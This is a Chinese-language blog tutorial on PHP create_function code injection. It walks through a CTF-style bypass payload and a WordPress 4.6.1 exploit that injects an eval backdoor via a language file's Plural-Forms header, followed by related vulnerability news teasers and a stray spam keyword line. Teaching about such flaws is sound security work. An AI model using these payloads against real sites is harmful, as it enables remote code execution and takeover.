<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從本地到WordPress代碼注入

    VSole2021-09-18 13:53:56

    什么是create_function?

    版本影響:

    注意:create_function在PHP7.2.0之后被廢棄,因此該函數的適用范圍在PHP 4 >= 4.0.1、PHP 5、 PHP 7<=7.2.0

    簡單講解:

    首先還是先看PHP手冊,PHP官方對create_function是這么定義的:

    首先該函數有兩個參數,一個是函數參數,另一個是函數主體代碼,并且該函數的范圍值即為函數名

    舉個例子:

    <?php$Lxxx = create_function('$str' , 'echo $str;phpinfo();');echo $Lxxx;echo "<br>";echo $Lxxx("hello");
    

    我們新建一個函數,名稱為Lxxx,并且該函數的用途就是打印輸出傳入的字符串以及phpinfo頁面

    此時我們訪問頁面如下:

    可以看到,這個時候打印輸出了hello以及phpinfo頁面

    除此之外,我們可以發現函數名是一串以lambda開頭的字符串,也就是匿名函數。

    這里我們可以發現,如果我們傳入create_funtion中的第二個參數可控,那么我們就可以進行命令執行。

    如何利用create_function()進行注入?

    想要知道如何利用它進行注入,我們還得看看PHP官方手冊是怎么說的:

    其實就是需要我們注意,這個函數本身就是在內部執行eval函數,

    因此我們可以將上方的代碼改寫成另一種等價的形式:

    <?phpfunction lambda_6($str){   echo $str;   phpinfo();}?>
    

    那我們試想,既然這個函數參數可控,并且內部執行了eval函數,我們能否利用它進行RCE呢?

    假設我們有以下代碼:

    <?php$ctf = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/i',$ctf)) {   $ctf('',$_GET['Lxxx']);}
    

    其中傳入的ctf參數不能以字母數字下劃線開頭,而Lxxx參數對于我們來說是完全可控的。

    既然如此我們可以考慮使用create_function函數,但是這個時候會出現一個問題,傳入的ctf參數不能以字母數字下劃線開頭,否則會產生匹配無法進入語句。

    問題一:

    那么該如何又使用create_function函數,又不以字母開頭呢?

    分析一:

    答案就是:使用反斜杠。

    因為在PHP中默認的命名空間為\,也就是說,所有的原生函數以及各種原生類,都是在\這個命名空間下,平常我們使用的各種函數,默認都是直接寫函數名,但是并沒有管命名空間,不寫\調用函數相當于是一個相對路徑,同理,既然有相對路徑,那么就會有絕對路徑。也就是說當我們調用函數的時候,如果函數的命名空間在\下,我們使用\function_name()的方式調用函數,同樣也是可以的

    問題二:

    對于下方代碼,雖然參數可控,但是除了命令以外,還有}這個不可控字符,如果存在這個字符會報錯,該怎么辦?

    <?phpfunction lambda_6($str){   echo $str;   phpinfo();}?>
    

    分析二:

    注入的時候在末尾添加注釋符,將后面的內容注釋掉即可。

    也就是說,我們只需要傳如下payload即可:

    ?Lxxx=;}phpinfo();/*POSTDATA: ctf=\create_function
    

    WordPress中的create_function()注入

    影響范圍:

    WordPress<=4.6.1

    漏洞復現:

    WordPress<=4.6.1的版本中,在wp-includes/pomo/translations.php文件中,有一處使用到了create_function函數

    涉及到的代碼如下:

    /*** Makes a function, which will return the right translation index, according to the* plural forms header* @param int   $nplurals* @param string $expression*/function make_plural_form_function($nplurals, $expression) {$expression = str_replace('n', '$n', $expression);$func_body = "\$index = (int)($expression);return (\$index < $nplurals)? \$index : $nplurals - 1;";return create_function('$n', $func_body);}
    

    從注釋中我們可以知道:這個函數是根據在目錄wp-content/languages下語言文件的plural forms這個header來創建函數并返回

    首先該函數返回值中可控參數為$func_body,而該參數由$nplurals參數決定$func_body,并且$nplurals由語言文件中的plural forms決定,因此,只需要能控制語言文件,即可控制整一個create_function函數

    首先plural forms在如下位置:

    我們現在將第九行修改如下:


    "Plural-Forms: nplurals=1; plural=n);}eval($_GET[Lxxx]);/*"
    

    ;}將前面的內容閉合,并且使用/*注釋掉后面的代碼

    再將zh_CN.po文件重新編譯生成zh_CN.mo,雖然提示有錯,但是不影響我們編譯。

    這個時候在主頁傳payload:

    ?Lxxx=phpinfo();
    

    即可得到phpinfo頁面,也就達成了RCE。

    實操推薦

    Vulnhub滲透測試實戰靶場WordPress:http://mrw.so/5YMgxN

    wordpress
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    網絡安全研究人員在WordPress的LiteSpeed Cache插件中發現了一個重大漏洞(編號為CVE-2023-40000),該插件擁有超過400萬次活動安裝,并存在未經身份驗證的站點范圍存儲 XSS(跨站點腳本)的風險。這可能會允許未經授權訪問敏感信息或通過單個HTTP請求在受影響的WordPress網站上進行權限升級。該漏洞由Patchstack團隊發現,問題已在插件版本5.7.0.1中
    WordPress的Bricks主題中的一個關鍵安全漏洞被發現并有被積極利用趨勢,該漏洞被跟蹤為CVE-2024-25600(CVSS 評分:9.8),使未經身份驗證的攻擊者能夠實現遠程代碼執行。它會影響1.9.6之前的所有版本的Bricks。主題開發人員已在2024年2月13日發布的1.9.6.1版本中解決了這個問題,據估計,Bricks目前約有25000個活躍網站。建議使用該插件的用戶應用最新
    WordPress 托管提供商 Kinsta 警告客戶,已觀察到 Google 廣告宣傳釣魚網站以竊取托管憑證。Kinsta 表示,網絡釣魚攻擊的目的是竊取 MyKinsta 的登錄憑據,MyKinsta 是該公司提供的一項關鍵服務,用于管理 WordPress 和其他基于云的應用程序。Kinsta 在發送給客戶的電子郵件中表示,它已發現攻擊者正在利用 Google Ads,針對以前訪問過 Kin
    一個安裝了超過 9 萬次的 WordPress 插件中存在一個嚴重的安全漏洞,威脅攻擊者能夠利用該漏洞獲得遠程代碼執行權限,從而完全控制有漏洞的網站。
    WordPress 近期發布了 6.4.2 更新版本,修復了一個遠程代碼執行 (RCE) 漏洞。
    據報道,攻擊者正在積極利用影響 Royal Elementor 插件和模板(最高版本為 1.3.78)的嚴重漏洞。
    據報道,攻擊者正在積極利用影響 Royal Elementor 插件和模板(最高版本為 1.3.78)的嚴重漏洞。
    Patchstack 報告稱 ,該插件供應商 ServMask 提供的各種高級擴展都包含相同的易受攻擊的代碼片段,這些代碼在 init 函數中缺乏權限和隨機數驗證。
    Bleeping Computer 網站披露,WordPress 表單構建插件 Ninja Forms 存在三個安全漏洞,攻擊者可以通過這些漏洞實現權限提升并竊取用戶數據2023 年 6 月 22 日,Patchstack 的研究人員向插件開發者 Saturday Drive 報告了這三個漏洞詳情,并警告稱漏洞會影響 NinjaForms 3.6.25 及以上版本。
    WordPress 表單構建插件 Ninja Forms 存在三個安全漏洞,攻擊者可以通過這些漏洞實現權限提升并竊取用戶數據。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类